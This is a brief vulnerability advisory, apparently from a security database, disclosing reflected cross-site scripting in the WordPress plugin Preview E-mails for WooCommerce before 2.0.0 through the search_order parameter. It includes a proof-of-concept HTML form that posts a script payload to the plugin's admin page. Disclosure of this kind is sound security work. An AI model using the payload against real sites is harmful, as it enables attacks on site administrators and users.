Preview E-mails for WooCommerce < 2.0.0 - Reflected Cross-Site Scripting

2021-11-1700:00:00

Chloe Chamberland

123

woocommerce

cross-site scripting

reflected

EPSS

0.001

Percentile

37.6%

JSON

The plugin is vulnerable to reflected XSS via the search_order parameter found in the ~/views/form.php file.

<html>
  <body>
    <form action="https://[URL]/wp-admin/admin.php?page=digthis-woocommerce-preview-emails" method="POST">
      <input type="hidden" name="search_order" value="<script>alert(1)</script>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>